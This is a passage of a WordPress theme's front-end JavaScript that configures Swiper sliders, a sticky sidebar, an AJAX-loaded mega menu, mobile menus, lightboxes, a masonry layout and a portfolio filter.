          swiper_arg['centeredSlides'] = true
          swiper_arg['loop'] = true
          swiper_arg['slidesPerView'] = 'auto'
        }

        if ($style === 'style-43' ) {
          swiper_arg['centeredSlides'] = true
          swiper_arg['loop'] = true
        }

        if ($this.find('.swiper-mark-item').length) {
          swiper_arg['parallax'] = true
        }

        if ($style === 'style-2') {
          swiper_arg['loopAddBlankSlides'] = true
          swiper_arg['watchSlidesProgress'] = false
          swiper_arg['centerInsufficientSlides'] = true
        }

        if ($style === 'style-38') {
          swiper_arg['loopAddBlankSlides'] = true
          swiper_arg['watchSlidesProgress'] = false
          swiper_arg['centerInsufficientSlides'] = true
        }

        if ($dots) {
          swiper_arg['pagination'] = {
            el: '.' + $id + ' .penci-owl-dots',
            type: 'bullets',
            bulletElement: 'div',
            clickable: true,
            bulletClass: 'penci-owl-dot',
            bulletActiveClass: 'active',
            renderBullet: function (index, className) {
              return '<div class="' + className + '"><span></span></div>'
            },
          }
        }

        if ($item == 1 && $style !== 'style-38') {

          if ($sstyle === 'creative') {
            swiper_arg['effect'] = 'slide'
          } else {
            swiper_arg['effect'] = $sstyle
          }
        }

        if ($style == 'style-28' || $style == 'style-2' || $style ==
          'style-38') {
          swiper_arg['effect'] = 'side'
          swiper_arg['slidesPerView'] = 'auto'
        }

        if (swiper_arg['effect'] == 'fade') {
          swiper_arg['fadeEffect'] = {
            crossFade: true,
          }
        }

        if ($ctyle == 'swing' && $item > 1) {
          swiper_arg['speed'] = $speed
          swiper_arg['loop'] = false

          if ($style !== 'style-38') {
            swiper_arg['rewind'] = true
          }

          swiper_arg['effect'] = 'creative'
          swiper_arg['followFinger'] = !1
          swiper_arg['creativeEffect'] = {
            limitProgress: 100,
            prev: {
              translate: ['-100%', 0, 0],
            },
            next: {
              translate: ['100%', 0, 0],
            },
          }
        }

        if (swiper_arg['slidesPerView'] !== 'auto') {
          swiper_arg['breakpoints'] = {
            0: {
              slidesPerView: $items_mobile,
            },
            480: {
              slidesPerView: $items_tabsmall,
            },
            768: {
              slidesPerView: $items_tablet,
            },
            1170: {
              slidesPerView: $items_desktop,
            },
          }
        }

        owl_fslider_name[$id] = new Swiper('.' + $id, swiper_arg)

        owl_fslider_name[$id].update()

        if ($this.attr('data-slideTo')) {
          owl_fslider_name[$id].slideTo($this.attr('data-slideTo'), 0)
        } else if ($style == 'style-38') {
          owl_fslider_name[$id].slideTo(4, 0)
        } else if ($style == 'style-2') {
          owl_fslider_name[$id].slideTo(4, 0)
        } else if ($style == 'style-43') {
          owl_fslider_name[$id].slideTo(2, 0)
        }

        if ($('body').hasClass('rtl')) {
          owl_fslider_name[$id].changeLanguageDirection('ltr')
        }
      })
    }

    /* Owl Slider General
 ---------------------------------------------------------------*/
    PENCI.owl_slider = function () {

      const owl_slider_name = {}

      $('.penci-owl-carousel-slider').each(function () {
        var $this = $(this),
          $parent = $this.parent(),
          $auto = true,
          $dots = false,
          $nav = true,
          $loop = true,
          $rtl = false,
          $items_desktop = 1,
          $items_tablet = 1,
          $items_tabsmall = 1,
          $items_mobile = 1,
          $speed = 600,
          $item = 1,
          $slideby = 1,
          $margin = 0,
          $autotime = 5000,
          $height = true,
          $datalazy = false,
          $carousel_effect = ajax_var_more.carousel_e,
          $slide_effect = ajax_var_more.slider_e,
          $direction = 'horizontal',
          $disable_effect = false,
          $e = false,
          $thumbs = $this.attr('data-thumbs'),
          $id = 'fetured-swiper-' + Math.floor(Math.random() * (
            1 - 999999
          ) + 1) + 1

        if ($this.hasClass('no-df')) {
          return
        }
        
        if ($this.hasClass('penci-owl-loaded')) {
          return
        }

        if ($this.hasClass('nav-thumb-creative')) {
          return
        }

        if ($this.hasClass('penci-featured-loaded')) {
          return
        }

        if ($this.attr('data-id')) {
          $id = $this.attr('data-id')
        }

        if ($this.attr('data-ceffect')) {
          $carousel_effect = $this.attr('data-ceffect')
        }

        if ($this.attr('data-seffect')) {
          $slide_effect = $this.attr('data-seffect')
        }

        $this.addClass($id)

        $this.find('.swiper-slide').removeClass('penci-ajrs-animate')

        if ($this.attr('data-nav') !== 'false') {
          $this.append(
            '<div class="penci-owl-nav"><div class="owl-prev"><i class="penciicon-left-chevron"></i></div><div class="owl-next"><i class="penciicon-right-chevron"></i></div></div>')
        }

        if ($('html').attr('dir') === 'rtl') {
          $rtl = true
        }
        if ($this.attr('data-dots') === 'true') {
          $dots = true
          if (!$this.find('.penci-owl-dots').length) {
            $this.append('<div class="penci-owl-dots"></div>')
          }
        }
        if ($this.attr('data-loop') === 'false') {
          $loop = false
        }
        if ($this.attr('data-nav') === 'false') {
          $nav = false
        }
        if ($this.attr('data-auto') === 'false') {
          $auto = false
        }

        if ($this.attr('data-margin')) {
          $margin = parseInt($this.data('margin'))
        }
        if ($this.attr('data-desktop')) {
          $items_desktop = $this.data('desktop') == 'auto' ? 'auto' : parseInt($this.data('desktop'))
        }
        if ($this.attr('data-tablet')) {
          $items_tablet = $this.data('tablet') == 'auto' ? 'auto' : parseInt($this.data('tablet'))
        }
        if ($this.attr('data-tabsmall')) {
          $items_tabsmall = $this.data('tabsmall') == 'auto' ? 'auto' : parseInt($this.data('tabsmall'))
        }
        if ($this.attr('data-mobile')) {
          $items_mobile = $this.data('mobile') == 'auto' ? 'auto' : parseInt($this.data('mobile'))
        }
        if ($this.attr('data-speed')) {
          $speed = parseInt($this.data('speed'))
        }
        if ($this.attr('data-autotime')) {
          $autotime = parseInt($this.data('autotime'))
        }
        if ($this.attr('data-item')) {
          $item = $slideby = parseInt($this.data('item'))
        }
        if ($this.attr('data-lazy')) {
          $datalazy = true
        }
        if ($this.attr('data-height')) {
          $height = $this.attr('data-height')
        }

        if ($this.attr('data-direction')) {
          $direction = $this.attr('data-direction')
        }

        if ( $direction == 'vertical' || $this.attr('data-e') == 'false' ) {
          $disable_effect = true;
        }

        let a = 0,
          t = !1

        var interleaveOffset = 0.5

        var swiper_arg = {
          loop: $loop,
          spaceBetween: $margin,
          slidesPerView: $item,
          speed: $speed,
          autoplay: $auto,
          pauseOnMouseEnter: true,
          autoHeight: $height,
          slideActiveClass: 'active',
          watchSlidesProgress: true,
          lazyLoading: $datalazy,
          direction: $direction,
          navigation: {
            nextEl: '.' + $id + ' .owl-next',
            prevEl: '.' + $id + ' .owl-prev',
          },
          breakpoints: {
            320: {
              slidesPerView: $items_mobile,
              direction: 'horizontal',
            },
            768: {
              slidesPerView: $items_tablet,
              direction: 'horizontal',
            },
            1170: {
              slidesPerView: $items_desktop,
            },
          },
          on: {
            init: function () {
              $this.addClass('penci-owl-loaded')
            },
            afterInit: function () {
              $this.addClass('penci-featured-loaded')
            },
            touchStart (slider) {

              if ($item > 1) {
                t = !0, slider.on && slider.on.touchStart &&
                slider.on.touchStart(slider)
              } else {
                var swiper = this
                for (var i = 0; i < swiper.slides.length; i++) {
                  if (swiper.slides[i].querySelector('.slide-inner') !== null &&
                    $slide_effect == 'creative') {
                    swiper.slides[i].style.transition = ''
                  }
                  if (swiper.slides[i].querySelector('.penci-swiper-mask') !==
                    null && $slide_effect == 'creative') {
                    swiper.slides[i].style.transition = ''
                  }
                }
              }
            },
            touchEnd (slider) {

              if ($item > 1) {
                t = !1, slider.on && slider.on.touchStart &&
                slider.on.touchEnd(slider)
              }
            },
            setTransition: function (swiper, speed) {

              if ( $disable_effect ) {
                return;
              }

              if (swiper.slides) {

                for (var i = 0; i < swiper.slides.length; i++) {

                  if (swiper.slides[i].querySelector('.slide-inner') !== null &&
                    $slide_effect == 'creative') {
                    swiper.slides[i].style.transition = speed + 'ms'
                    swiper.slides[i].querySelector(
                      '.slide-inner').style.transition = speed + 'ms'
                  }
                  if (swiper.slides[i].querySelector('.penci-ctslide-bg') !==
                    null && $slide_effect == 'creative') {
                    swiper.slides[i].style.transition = speed + 'ms'
                    swiper.slides[i].querySelector(
                      '.penci-ctslide-bg').style.transition = speed + 'ms'
                  }
                  if (swiper.slides[i].querySelector('.penci-swiper-mask') !==
                    null && $slide_effect == 'creative') {
                    swiper.slides[i].style.transition = speed + 'ms'
                    swiper.slides[i].querySelector(
                      '.penci-swiper-mask').style.transition = speed + 'ms'
                  }
                }

              }

            },
            progress (n, u) {
              if (t) {
                return
              }

              if ( $disable_effect ) {
                return;
              }

              if ($item > 1 && $carousel_effect === 'swing') {

                n.on && n.on.progress && n.on.progress(n, u)
                const g = n.progress > a ? 'next' : 'prev'
                a = n.progress
                const y = n.params.speed / 16,
                  f = n.visibleSlidesIndexes ? n.visibleSlidesIndexes : [],
                  h = f[0],
                  m = f[f.length - 1],
                  v = (l, c) => {
                    g === 'next' && c >= h ? l.style.transitionDelay = `${(c -
                      h + 1) * y}ms` : g === 'prev' && c <= m + 1
                      ? l.style.transitionDelay = `${(m - c + 1) * y}ms`
                      : l.style.transitionDelay = `${0}ms`
                  }
                n.slides.forEach((l, c) => {
                  n.animating
                    ? (l.style.transitionDelay = '0ms', requestAnimationFrame(
                      () => {
                        v(l, c)
                      }))
                    : v(l, c)
                })

              } else {

                var swiper = this
                for (var i = 0; i < swiper.slides.length; i++) {
                  var slideProgress = swiper.slides[i].progress
                  var innerOffset = swiper.width * interleaveOffset
                  var innerTranslate = slideProgress * innerOffset
                  if (swiper.slides[i].querySelector('.slide-inner') !== null &&
                    $slide_effect === 'creative') {
                    swiper.slides[i].querySelector(
                      '.slide-inner').style.transform = 'translate3d(' +
                      innerTranslate + 'px, 0, 0)'
                  }
                  if (swiper.slides[i].querySelector('.penci-ctslide-bg') !==
                    null && $slide_effect === 'creative') {
                    swiper.slides[i].querySelector(
                      '.penci-ctslide-bg').style.transform = 'translate3d(' +
                      innerTranslate + 'px, 0, 0)'
                  }
                  if (swiper.slides[i].querySelector('.penci-swiper-mask') !==
                    null && $slide_effect === 'creative') {
                    swiper.slides[i].querySelector(
                      '.penci-swiper-mask').style.transform = 'translate3d(' +
                      innerTranslate + 'px, 0, 0)'
                  }
                }
              }
            },
          },
        }

        if ($carousel_effect === 'swing' && $item > 1 && !$disable_effect) {
          $this.addClass('penci-swing-ef')
          swiper_arg['speed'] = $speed
          swiper_arg['loop'] = false
          swiper_arg['rewind'] = true
          swiper_arg['effect'] = 'creative'
          swiper_arg['followFinger'] = !1
          swiper_arg['creativeEffect'] = {
            limitProgress: 100,
            prev: {
              translate: ['-100%', 0, 0],
            },
            next: {
              translate: ['100%', 0, 0],
            },
          }
        } else if ($item == 1 && !$disable_effect) {
          swiper_arg['effect'] = $slide_effect
        }

        if ((
          swiper_arg['effect'] === 'flip' || swiper_arg['effect'] === 'cards'
        ) && $item == 1) {
          swiper_arg['loop'] = false
        }

        if (swiper_arg['effect'] === 'creative' && $item === 1) {
          swiper_arg['creativeEffect'] = {
            shadowPerProgress: true,
            prev: {
              translate: ['-100%', 0, 0],
              opacity: 0.5,
            },
            next: {
              translate: ['100%', 0, 0],
              opacity: 1,
            },
          }
        }

        if ($dots) {
          swiper_arg['pagination'] = {
            el: '.' + $id + ' .penci-owl-dots',
            type: 'bullets',
            bulletElement: 'div',
            clickable: true,
            bulletClass: 'penci-owl-dot',
            bulletActiveClass: 'active',
            renderBullet: function (index, className) {
              return '<div class="' + className + '"><span></span></div>'
            },
          }
        }

        if ($this.attr('data-thumbs-id')) {
          swiper_arg['thumbs'] = {
            swiper: owl_slider_name[$this.attr('data-thumbs-id')],
          }
        }

        if ($this.attr('data-thumb')) {
          swiper_arg['slideToClickedSlide'] = true
        }

        if ($parent.hasClass('penci-topbar-trending')) {

          swiper_arg['navigation'] = {
            nextEl: '.penci-slider-next',
            prevEl: '.penci-slider-prev',
          }

          swiper_arg['autoHeight'] = false

          if ($this.attr('data-anim')) {
            swiper_arg['slideActiveClass'] = 'animated'
          }

          if ($this.attr('data-anim') === 'slideInUp') {
            swiper_arg['effect'] = 'creative'
            swiper_arg['creativeEffect'] = {
              shadowPerProgress: true,
              prev: {
                translate: [0, '-100%', 0],
                opacity: 0,
              },
              next: {
                translate: [0, '100%', 0],
                opacity: 1,
              },
            }
          }

          if ($this.attr('data-anim') === 'slideInRight') {
            swiper_arg['effect'] = 'creative'
            swiper_arg['creativeEffect'] = {
              shadowPerProgress: false,
              perspective: true,

              prev: {
                translate: ['20px', 0, 0],
                opacity: 0,
              },
              next: {
                translate: ['20px', 0, 0],
                opacity: 0,
              },
            }
          }

          if ($this.attr('data-anim') === 'fadeIn') {
            swiper_arg['effect'] = 'fade'
            swiper_arg['fadeEffect'] = {
              crossFade: true,
            }
          }
        }

        if ($auto) {
          swiper_arg['autoplay'] = {
            delay: $autotime,
            disableOnInteraction: false,
            pauseOnMouseEnter: true,
          }
        }

        owl_slider_name[$id] = new Swiper('.' + $id, swiper_arg)

        if ($this.attr('data-thumbs-id')) {
          owl_slider_name[$this.attr('data-thumbs-id')].update()
        }

        owl_slider_name[$id].update()

      })

    }

    /* Slick Slider w Thumbnails
     ---------------------------------------------------------------*/
    PENCI.slick_slider = function () {

      $('.penci-image-gallery-thumbnail-slider').each(function () {

        var main_slider = $(this).find('.pcthumb-s-msl').attr('data-id'),
          thumb_slider = $(this).find('.pcthumb-s-csl').attr('data-id'),
          thumb_total = $(this).find('.pcthumb-s-csl').attr('data-total')

        var swiper_thumb_slider = new Swiper('.' + thumb_slider, {
          loop: true,
          slidesPerView: 'auto',
          spaceBetween: 0,
          slideToClickedSlide: true,
          on: {
            init: function (e) {
              $('.' + thumb_slider).addClass('slick-initialized')
            },
          },
          navigation: {
            nextEl: '.' + thumb_slider + ' .slick-next',
            prevEl: '.' + thumb_slider + ' .slick-prev',
          },
        })

        var swiper_slider = new Swiper('.' + main_slider, {
          slidesPerView: 1,
          autoHeight: true,
          loop: true,
          thumbs: {
            swiper: swiper_thumb_slider,
          },
          on: {
            init: function (e) {
              $('.' + main_slider).addClass('slick-initialized')
            },
            slideChange: function (e) {
              var number = e.realIndex,
                number = number == 0 ? 1 : number
              $('.' + thumb_slider).
                find('.pcslick-nav-area').
                find('.current').
                html(number)
            },
          },
        })

        swiper_thumb_slider.update()
        swiper_slider.update()

      })

    }

    /* Fitvids
 ---------------------------------------------------------------*/
    PENCI.fitvids = function () {
      // Target your .container, .wrapper, .post, etc.
      if ($().fitVids) {
        $('.container').fitVids({ ignore: '.penci-sticky-video' })
      }
    }

    /* Sticky sidebar
 ----------------------------------------------------------------*/
    PENCI.sticky_sidebar = function () {
      if ($().theiaStickySidebar) {
        var top_margin = 80
        if ($('body').hasClass('admin-bar') &&
          $('body').hasClass('penci-vernav-enable')) {
          top_margin = 52
        } else if (!$('body').hasClass('admin-bar') &&
          $('body').hasClass('penci-vernav-enable')) {
          top_margin = 20
        } else if ($('body').hasClass('admin-bar') &&
          !$('body').hasClass('penci-vernav-enable')) {
          top_margin = 112
        }

        if ($('.pc-wrapbuilder-header').length) {
          var headerdesktop = $('.penci_builder_sticky_header_desktop')
          top_margin = 20
          if (headerdesktop.length &&
            !headerdesktop.hasClass('hide-scroll-down')) {
            top_margin = headerdesktop.height() + 20
          }
          if ($('body').hasClass('admin-bar')) {
            top_margin = top_margin + 32
          }
        }

        $('.pc-container-sticky').each(function () {
          var t = $(this)
          if (t.find('.theiaStickySidebar').length === 0) {
            t.wrapInner('<div class="theiaStickySidebar"></div>')
          }
        })

        if ($(
          '.penci-vc-sticky-sidebar > .penci-vc-row > .penci-vc-column').length) {
          $('.penci-vc-sticky-sidebar > .penci-vc-row > .penci-vc-column').
            theiaStickySidebar({
              additionalMarginTop: top_margin,
              'minWidth': 961,
            })
        }

        if ($('.penci-enSticky .penci-sticky-sb').length) {
          $('.penci-enSticky .penci-sticky-sb,.penci-enSticky .penci-sticky-ct').
            theiaStickySidebar({
              additionalMarginTop: top_margin,
              'minWidth': 961,
            })
        }
        $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').
          theiaStickySidebar({
            // settings
            additionalMarginTop: top_margin,
          })
      } // if sticky
    }

    /* Mega menu
 ----------------------------------------------------------------*/
    PENCI.mega_menu = function () {
      // Hover parent
      $('#navigation ul.menu > li.penci-mega-menu').
        on('mouseenter', function () {
          var $this = $(this),
            $row_active = $this.find('.row-active'),
            $rowsLazy = $row_active.find('.penci-lazy')
          $row_active.fadeIn('200').css('display', 'inline-block')
        })

      $('#navigation .penci-mega-child-categories a').
        on('mouseenter', function () {
          if ($(this).hasClass('mega-normal-child')) {
            return
          }
          if (!$(this).hasClass('cat-active')) {
            var $this = $(this),
              $row_active = $this.data('id'),
              $parentA = $this.parent().children('a'),
              $parent = $this.closest('.penci-megamenu'),
              $rows = $this.closest('.penci-megamenu').
                find('.penci-mega-latest-posts').
                children('.penci-mega-row'),
              $rowsLazy = $rows.find('.penci-lazy')
            $parentA.removeClass('cat-active')
            $this.addClass('cat-active')
            $rows.hide()
            $rows.removeClass('row-active')
            $parent.find('.' + $row_active).
              fadeIn('300').
              css('display', 'inline-block').
              addClass('row-active')
          }
        })
    }

    PENCI.categories_lists = function () {
      // Add indicator

      $('.pc-advanced-cat li').each(function (e) {
        if ($(this).find('.children').length) {
          $(this).addClass('has-children')
          $(this).find('.children').hide()
          $(this).
            append('<u class="indicator"><i class="fa fa-angle-down"></i></u>')
        }
      })

      // indicator click
      $('.pc-advanced-cat .indicator').on('click', function (e) {
        var $this = $(this)
        e.preventDefault()
        $this.children().toggleClass('fa-angle-up')
        $this.closest('li').find('.children').slideToggle('fast')
      })

      $(document).on('mouseenter', '.penci-mega-menu', function (e) {
        var t = $(this),
            w = t.find('.penci-megamenu')
            if ( w.hasClass('loading') || t.hasClass('pcmn-ajxd') ) {
              return
            }
            if ( ! w.hasClass('loaded') ) {
              var menu = w.attr('data-menu'),
                  item = w.attr('data-item'),
                  catid = w.attr('data-catid'),
                  number = w.attr('data-number'),
                  style = w.attr('data-style'),
                  rid = w.attr('data-id'),
                  position = w.attr('data-position')

              w.addClass('loading')

              if ( menu && item && catid && number && style && rid && position ) {

                var save_name = 'penci_megamn_'+menu+item+catid+number+style+position;

                if (sessionStorage.getItem(save_name) ) {
                  w.append(sessionStorage.getItem(save_name))
                  w.removeClass('loading')
                  w.addClass('loaded')

                  var $row_active = w.find('.row-active')
                  $row_active.fadeIn('200').css('display', 'inline-block')

                  $('body').trigger('penci-ajax-menu-loaded')
                } else {

                  $.post(
                    ajax_var_more.megamenu_url,
                    {
                      menu: menu,
                      item: item,
                      catid: catid,
                      number: number,
                      style: style,
                      position: position,
                      id: rid,
                      action: 'penci_html_mega_menu',
                    }, function (response) {
                      sessionStorage.setItem(save_name, response.data);
                      w.append(response.data)
                      w.removeClass('loading')
                      w.addClass('loaded')

                      var $row_active = w.find('.row-active')
                      $row_active.fadeIn('200').css('display', 'inline-block')

                      $('body').trigger('penci-ajax-menu-loaded')
                    }
                  )
                }
              }
            }
      })
    }

    /* Mobile AJAX Menu
    ----------------------------------------------------------------*/
    PENCI.mobile_ajax_menu = function () {
        $('.penci-megamenu').each(function (index, element) {
          var w = $(this);
              if ( w.hasClass('loadingm') ) {
                return
              }
              if ( ! w.hasClass('loaded') ) {
                var menu = w.attr('data-menu'),
                    item = w.attr('data-item'),
                    catid = w.attr('data-catid'),
                    number = w.attr('data-number'),
                    style = w.attr('data-style'),
                    rid = w.attr('data-id'),
                    position = w.attr('data-position')

                w.addClass('loadingm')

                if ( menu && item && catid && number && style && rid && position ) {

                  var save_name = 'penci_megamn_m_'+menu+item+catid+number+style+position;

                  if (sessionStorage.getItem(save_name) ) {
                    w.append(sessionStorage.getItem(save_name))
                    w.removeClass('loadingm')
                    w.addClass('loaded')

                    var $row_active = w.find('.row-active')
                    $row_active.fadeIn('200').css('display', 'inline-block')

                    $('body').trigger('penci-ajax-menu-loaded')
                  } else {

                    $.post(
                      ajax_var_more.megamenu_url,
                      {
                        menu: menu,
                        item: item,
                        catid: catid,
                        number: number,
                        style: style,
                        position: position,
                        id: rid,
                        action: 'penci_html_mega_menu',
                      }, function (response) {
                        sessionStorage.setItem(save_name, response.data);
                        w.append(response.data)
                        w.removeClass('loadingm')
                        w.addClass('loaded')

                        var $row_active = w.find('.row-active')
                        $row_active.fadeIn('200').css('display', 'inline-block')

                        $('body').trigger('penci-ajax-menu-loaded')
                      }
                    )
                  }
                }
              }
        })
    }

    /* Mobile menu responsive
 ----------------------------------------------------------------*/
    PENCI.mobile_menu = function () {
      // Add indicator
      $('#sidebar-nav .menu li.menu-item-has-children > a').
        append('<u class="indicator"><i class="fa fa-angle-down"></i></u>')

      // Toggle menu when click show/hide menu
      $('#navigation .button-menu-mobile').on('click', function () {
        $('body').addClass('open-sidebar-nav')
      })

      // indicator click
      $('#sidebar-nav .menu li a .indicator').on('click', function (e) {
        if ($('body').hasClass('penci-vernav-cparent')) {
          return
        }
        var $this = $(this)
        e.preventDefault()
        $this.children().toggleClass('fa-angle-up')
        $this.parent().next().slideToggle('fast')
      })

      $('.penci-vernav-cparent #sidebar-nav .menu li.menu-item-has-children > a').
        on('click', function (e) {
          var $this = $(this)
          e.preventDefault()
          $this.children().children().toggleClass('fa-angle-up')
          $this.next().slideToggle('fast')
        })

      // Close sidebar nav
      $('body').on('click', '#close-sidebar-nav', function (e) {
        e.preventDefault()
        $('body').removeClass('open-sidebar-nav')
      })
    }

    PENCI.toggleMenuHumburger = function () {
      var $menuhumburger = $('.penci-menu-hbg')
      if ($menuhumburger.length) {
        var $body = $('body'),
          $button = $(
            '.penci-vernav-toggle,.penci-menuhbg-toggle,#penci-close-hbg,.penci-menu-hbg-overlay'),
          sidebarClass = 'penci-menuhbg-open'

        // Add indicator
        $('.penci-menu-hbg .menu li.menu-item-has-children > a').
          append('<u class="indicator"><i class="fa fa-angle-down"></i></u>')

        // indicator click
        $('.penci-menu-hbg .menu li a .indicator').on('click', function (e) {
          if ($('body').hasClass('penci-hbg-cparent') &&
            !$menuhumburger.hasClass('penci-builder-mobile-sidebar-nav')) {
            return
          }
          if ($menuhumburger.hasClass('penci-builder-mobile-sidebar-nav') &&
            $menuhumburger.find('.pchb-cparent').length) {
            return
          }
          var $this = $(this)
          e.preventDefault()
          $this.children().toggleClass('fa-angle-up')
          $this.parent().next().slideToggle('fast')
        })

        $('.penci-hbg-cparent .penci-menu-hbg .menu li.menu-item-has-children > a').
          on('click', function (e) {
            var $this = $(this)
            e.preventDefault()
            $this.children().children().toggleClass('fa-angle-up')
            $this.next().slideToggle('fast')
          })

        // Click to show mobile menu
        $button.on('click', function (e) {
          e.preventDefault()

          if ($body.hasClass(sidebarClass)) {
            $body.removeClass(sidebarClass)
            $button.removeClass('active')

            return
          }
          e.stopPropagation() // Do not trigger click event on '.site' below
          $body.addClass(sidebarClass)
          $button.addClass('active')

        })
      }
    }
    
    PENCI.ElementorHumburger = function () {
      var $menuhumburger = $('.penci-menu-hbg-ele')
      if ($menuhumburger.length) {
        var $body = $('body'),
          $button = $(
            '.penci-vernav-toggle,.penci-menuhbg-toggle,#penci-close-hbg,.penci-menu-hbg-overlay'),
          sidebarClass = 'penci-menuhbg-open'

        // Add indicator
        $('.penci-menu-hbg-ele .menu li.menu-item-has-children > a').
          append('<u class="indicator"><i class="fa fa-angle-down"></i></u>')

        // indicator click
        $('.penci-menu-hbg-ele .menu li a .indicator').on('click', function (e) {
          if ($('body').hasClass('penci-hbg-cparent') &&
            !$menuhumburger.hasClass('penci-builder-mobile-sidebar-nav')) {
            return
          }
          if ($menuhumburger.hasClass('penci-builder-mobile-sidebar-nav') &&
            $menuhumburger.find('.pchb-cparent').length) {
            return
          }
          var $this = $(this)
          e.preventDefault()
          $this.children().toggleClass('fa-angle-up')
          $this.parent().next().slideToggle('fast')
        })

        $('.penci-hbg-cparent .penci-menu-hbg-ele .menu li.menu-item-has-children > a').
          on('click', function (e) {
            var $this = $(this)
            e.preventDefault()
            $this.children().children().toggleClass('fa-angle-up')
            $this.next().slideToggle('fast')
          })

        // Click to show mobile menu
        $button.on('click', function (e) {
          e.preventDefault()

          if ($body.hasClass(sidebarClass)) {
            $body.removeClass(sidebarClass)
            $button.removeClass('active')

            return
          }
          e.stopPropagation() // Do not trigger click event on '.site' below
          $body.addClass(sidebarClass)
          $button.addClass('active')

        })
      }
    }

    /* Light box
 ----------------------------------------------------------------*/
    PENCI.lightbox = function () {
      if ($().magnificPopup) {
        $('a[data-rel^="penci-gallery-image-content"], .penci-enable-lightbox .gallery-item a').
          magnificPopup({
            type: 'image',
            closeOnContentClick: true,
            closeBtnInside: false,
            fixedContentPos: true,
            image: {
              verticalFit: true,
              titleSrc: 'data-cap',
            },
            gallery: {
              enabled: true,
            },
            zoom: {
              enabled: false,
              duration: 300,
            },
          })

        $('a[data-rel^="penci-gallery-bground-content"]').magnificPopup({
          type: 'image',
          closeOnContentClick: true,
          closeBtnInside: false,
          fixedContentPos: true,
          image: {
            verticalFit: true,
          },
          gallery: {
            enabled: true,
          },
        })

        // Enable lightbox videos
        $('.penci-other-layouts-lighbox').magnificPopup({
          type: 'iframe',
          mainClass: 'mfp-fade',
          fixedContentPos: true,
          closeBtnInside: false,
          closeOnContentClick: true,
        })

        if ($('.penci-image-gallery').length) {
          $('.penci-image-gallery').each(function () {
            var $this = $(this),
              id = $this.attr('id')

            $('#' + id + ' a.penci-gallery-ite').magnificPopup({
              type: 'image',
              closeOnContentClick: true,
              closeBtnInside: false,
              fixedContentPos: true,
              image: {
                verticalFit: true,
                titleSrc: 'data-cap',
              },
              gallery: {
                enabled: true,
              },
            })
          })
        }

        if ($('.penci-post-gallery-container').length) {
          $('.penci-post-gallery-container').each(function () {
            var $this = $(this),
              id = $this.attr('id')

            $('#' + id + ' a.penci-gallery-ite').magnificPopup({
              type: 'image',
              closeOnContentClick: true,
              closeBtnInside: false,
              fixedContentPos: true,
              image: {
                verticalFit: true,
                titleSrc: 'data-cap',
              },
              gallery: {
                enabled: true,
              },
            })
          })
        }

      } // if magnificPopup exists
    }

    /* Masonry layout
 ----------------------------------------------------------------*/
    PENCI.masonry = function () {
      var $masonry_container = $(
        '.penci-masonry, .penci-bgstyle-2 .penci-biggrid-data')
      if ($masonry_container.length) {
        $masonry_container.each(function () {
          var $this = $(this)
          $this.imagesLoaded(function () {
            // initialize isotope
            $this.isotope({
              itemSelector: '.item-masonry',
              transitionDuration: '.55s',
              layoutMode: 'masonry',
            })
          })
        })
      }
    }

    /* Video Background
 ----------------------------------------------------------------*/
    PENCI.video_background = function () {
      var $penci_videobg = $('#penci-featured-video-bg')
      if ($penci_videobg.length) {
        $($penci_videobg).each(function () {
          var $this = $(this),
            $src = $this.data('videosrc'),
            $startime = $this.data('starttime'),
            $jarallaxArgs = {
              videoSrc: $src,
              videoStartTime: $startime,
              videoPlayOnlyVisible: false,
            }

          jarallax($this, $jarallaxArgs)
          $('.featured-area').addClass('loaded-wait')
          setTimeout(function () {
            $('.featured-area').addClass('loaded-animation')
          }, 1500)
        })
      }
    }

    /* Portfolio
 ----------------------------------------------------------------*/
    PENCI.AjaxPortfolio = function () {
      
      var $penci_portfolio_w = $('.wrapper-penci-portfolio.pcpt-ajax-ftl'),
          $penci_portfolio = $penci_portfolio_w.find('.penci-portfolio'),
          $penci_portfolio_i = $penci_portfolio_w.find('.inner-portfolio-posts'),
          $filter_a = $penci_portfolio_w.find('.penci-portfolio-filter a'),
          unique_id = $penci_portfolio.attr('id'),
          pagenavi = $penci_portfolio_w.find('.penci-pagenavi-shortcode'),
          DataFilter = null

      if (typeof (
          portfolioDataJs
        ) != 'undefined' && portfolioDataJs !==
        null) {
        for (var e in portfolioDataJs) {

          if (portfolioDataJs[e].instanceId == unique_id) {
            DataFilter = portfolioDataJs[e]
          }
        }
      }

      if ($().isotope && $penci_portfolio_i.length) {
        $penci_portfolio_i.each(function () {
          var $this = $(this)

          $this.imagesLoaded(function () {
            $this.isotope({
              itemSelector: '.portfolio-item',
              animationEngine: 'best-available',
              animationOptions: {
                duration: 250,
                queue: false,
              },
            }) // isotope

            $this.addClass('loaded')

            $('.portfolio-item .inner-item-portfolio').each(function () {
              var $this = $(this)
              $this.one('inview',
                function (event, isInView, visiblePartX, visiblePartY) {
                  $this.addClass('animated')
                }) // inview
            }) // each
          })
        })
      }
      
      $filter_a.on('click', function(e) {
        e.preventDefault();
        var filter_a = $(this),
            term = filter_a.attr('data-term'),
            paged = filter_a.attr('data-paged') ? parseInt( filter_a.attr('data-paged') ) : 1,
            term_wrapper = $penci_portfolio.find('.pcpt_data_' + term),
            df_wrapper =  $penci_portfolio.find('.inner-portfolio-posts:first-child'),
            loadmorebtm = $penci_portfolio_w.find('.penci-ajax-more-button'),
            mesNoMore = loadmorebtm.data('mes_no_more'),
            mes = loadmorebtm.data('mes')


          if ( filter_a.hasClass('loadmore-finish') ) {
            loadmorebtm.find('.ajax-more-text').html(mesNoMore)
            loadmorebtm.addClass('disable')
          } else {
            loadmorebtm.find('.ajax-more-text').html(mes)
            loadmorebtm.removeClass('disable')
          }

          if ( filter_a.hasClass('loading-data') || filter_a.closest('li').hasClass('active') ){
            return;
          }

          $penci_portfolio_w.find('.penci-portfolio-filter li').removeClass('active');
          filter_a.closest('li').addClass('active')

          filter_a.addClass('loading-data')
          $penci_portfolio.addClass('pcftaj-ld')


          if ( term == '*' ) {
            $penci_portfolio.find('.inner-portfolio-posts').hide()
            $penci_portfolio.find('.inner-portfolio-posts').removeClass('loaded')
            df_wrapper.show()
            df_wrapper.isotope('layout')
            df_wrapper.addClass('loaded')
            filter_a.removeClass('loading-data');
            $penci_portfolio.removeClass('pcftaj-ld');
            return
          }

          if( filter_a.hasClass('loaded_data')){
            $penci_portfolio.find('.inner-portfolio-posts').hide()
            $penci_portfolio.find('.inner-portfolio-posts').removeClass('loaded')
            $('.pcpt_data_' + term).show()
            $('.pcpt_data_' + term).isotope('layout')
            $('.pcpt_data_' + term).addClass('loaded')
